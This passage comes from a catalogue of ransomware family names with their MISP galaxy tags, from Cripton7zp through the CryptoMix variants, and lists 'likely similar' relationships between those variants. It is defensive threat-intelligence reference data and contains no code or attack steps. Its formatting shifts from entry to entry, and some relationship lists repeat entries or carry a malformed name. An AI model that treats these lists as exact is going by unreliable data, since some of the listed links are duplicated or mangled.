**Cripton7zp**
Ransomware

The tag is: misp-galaxy:ransomware="Cripton7zp"

**Cry36**
Ransomware

The tag is: misp-galaxy:ransomware="Cry36"

**Cry9**
Ransomware

The tag is: misp-galaxy:ransomware="Cry9"

**CryCipher**
Ransomware

The tag is: misp-galaxy:ransomware="CryCipher"

CryCipher is also known as:

- PayPalGenerator2019
CryForMe
Ransomware
The tag is: misp-galaxy:ransomware="CryForMe"

Crying
Ransomware
The tag is: misp-galaxy:ransomware="Crying"

CryMore
Ransomware
The tag is: misp-galaxy:ransomware="CryMore"

Cryp70n1c
Ransomware
The tag is: misp-galaxy:ransomware="Cryp70n1c"

Crypt0 HT
Ransomware
The tag is: misp-galaxy:ransomware="Crypt0 HT"

Crypt0
Ransomware
The tag is: misp-galaxy:ransomware="Crypt0"

Crypt0L0cker
Ransomware
The tag is: misp-galaxy:ransomware="Crypt0L0cker"

Crypt0r
Ransomware
The tag is: misp-galaxy:ransomware="Crypt0r"
Crypt12
Ransomware
The tag is: `misp-galaxy:ransomware="Crypt12"`

CryptFuck
Ransomware
The tag is: `misp-galaxy:ransomware="CryptFuck"`

CryptGh0st
Ransomware
The tag is: `misp-galaxy:ransomware="CryptGh0st"`

Crypto_Lab
Ransomware
The tag is: `misp-galaxy:ransomware="Crypto_Lab"`

CryptoApp
Ransomware
The tag is: `misp-galaxy:ransomware="CryptoApp"`

Crypto-Blocker
Ransomware
The tag is: `misp-galaxy:ransomware="Crypto-Blocker"`

CryptoBoss
Ransomware
The tag is: `misp-galaxy:ransomware="CryptoBoss"`

CryptoCat
Ransomware
The tag is: `misp-galaxy:ransomware="CryptoCat"`
CryptoClone
Ransomware
The tag is: misp-galaxy:ransomware="CryptoClone"

CryptoDark
Ransomware
The tag is: misp-galaxy:ransomware="CryptoDark"

CryptoGod 2017
Ransomware
The tag is: misp-galaxy:ransomware="CryptoGod 2017"

CryptoGod 2018
Ransomware
The tag is: misp-galaxy:ransomware="CryptoGod 2018"

CryptoLite
Ransomware
The tag is: misp-galaxy:ransomware="CryptoLite"

CryptolockerEmulator
Ransomware
The tag is: misp-galaxy:ransomware="CryptolockerEmulator"

CryptoLockerEU 2016
Ransomware
The tag is: misp-galaxy:ransomware="CryptoLockerEU 2016"

CryptoManiac
Ransomware
The tag is: misp-galaxy:ransomware="CryptoManiac"
CryptoMix-0000

Ransomware

The tag is: misp-galaxy:ransomware="CryptoMix-0000"

View relationships graph

CryptoMix-0000 has relationships with:

- similar: misp-galaxy:ransomware="CryptoMix" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
CryptoMix-Arena

Ransomware

The tag is: `misp-galaxy:ransomware="CryptoMix-Arena"`

View relationships graph

CryptoMix-Arena has relationships with:

- similar: `misp-galaxy:ransomware="CryptoMix"` with `estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:ransomware="CryptoMix-0000"` with `estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:ransomware="CryptoMix-Azer"` with `estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:ransomware="CryptoMix-Backup"` with `estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:ransomware="CryptoMix-CK"` with `estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:ransomware="CryptoMix-Coban"` with `estimative-language:likelihood-probability="likely"`
• similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"
CryptoMix-Azer

Ransomware

The tag is: misp-galaxy:ransomware="CryptoMix-Azer"

View relationships graph

CryptoMix-Azer has relationships with:

- similar: misp-galaxy:ransomware="CryptoMix" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Cryptomix WORK" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"

**CryptoMix-Backup**

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoMix-Backup"*

*View relationships graph*

CryptoMix-Backup has relationships with:

• similar: misp-galaxy:ransomware="CryptoMix" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"
CryptoMix-CK

Ransomware

The tag is: misp-galaxy:ransomware="CryptoMix-CK"

View relationships graph

CryptoMix-CK has relationships with:

- similar: misp-galaxy:ransomware="CryptoMix" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"

**CryptoMix-Coban**

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoMix-Coban"*

**View relationships graph**

CryptoMix-Coban has relationships with:

• similar: misp-galaxy:ransomware="CryptoMix" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"
CryptoMix-DLL

Ransomware

The tag is: misp-galaxy:ransomware="CryptoMix-DLL"

View relationships graph

CryptoMix-DLL has relationships with:

- similar: misp-galaxy:ransomware="CryptoMix" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-WORK" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"

**CryptoMix-Empty**

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoMix-Empty"*

View relationships graph

CryptoMix-Empty has relationships with:

• similar: misp-galaxy:ransomware="CryptoMix" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"
CryptoMix-Error

Ransomware

The tag is: misp-galaxy:ransomware="CryptoMix-Error"

View relationships graph

CryptoMix-Error has relationships with:

- similar: misp-galaxy:ransomware="CryptoMix" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-WORK" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"

**CryptoMix-Exte**

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoMix-Exte"*

**View relationships graph**

CryptoMix-Exte has relationships with:

• similar: misp-galaxy:ransomware="CryptoMix" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"
Cryptomix-FILE

Ransomware

The tag is: misp-galaxy:ransomware="Cryptomix-FILE"

View relationships graph

Cryptomix-FILE has relationships with:

- similar: misp-galaxy:ransomware="CryptoMix" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
CryptoMix-MOLE66

Ransomware

The tag is: misp-galaxy:ransomware="CryptoMix-MOLE66"

View relationships graph

CryptoMix-MOLE66 has relationships with:

- similar: misp-galaxy:ransomware="CryptoMix" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
